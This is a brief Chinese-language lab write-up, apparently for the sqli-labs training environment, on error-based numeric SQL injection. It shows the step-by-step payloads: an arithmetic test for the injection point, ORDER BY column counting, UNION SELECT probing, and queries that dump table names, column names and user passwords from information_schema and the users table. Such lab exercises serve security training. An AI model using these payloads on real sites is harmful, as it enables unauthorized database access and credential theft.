第二课:基于报错的数字型注入
1. 本节与less-1的原理基本一样,不同的是参数去掉了引号包裹
2.判断注入点和注入形式
http://10.1.2.210:8000/Less-1/?id=2-1
执行结果如下
2.“2-1”被成功执行为 1,故本题为基于数字型的注入
3.构造查询找到回显数量及位置
?id=-1 order by 1 --+
?id=-1 order by 2 --+
?id=-1 order by 3 --+
?id=-1 order by 4 --+ (此处会报错,因此回显数量只有3个)
?id=-1 union select 1,2,3 --+(用此查询找到回显位置)
4.回显位置找到:
爆破表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆破字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆破数据
?id=-1 union select id,user,password from users where id='3' --+
至此,第二课的实验结束。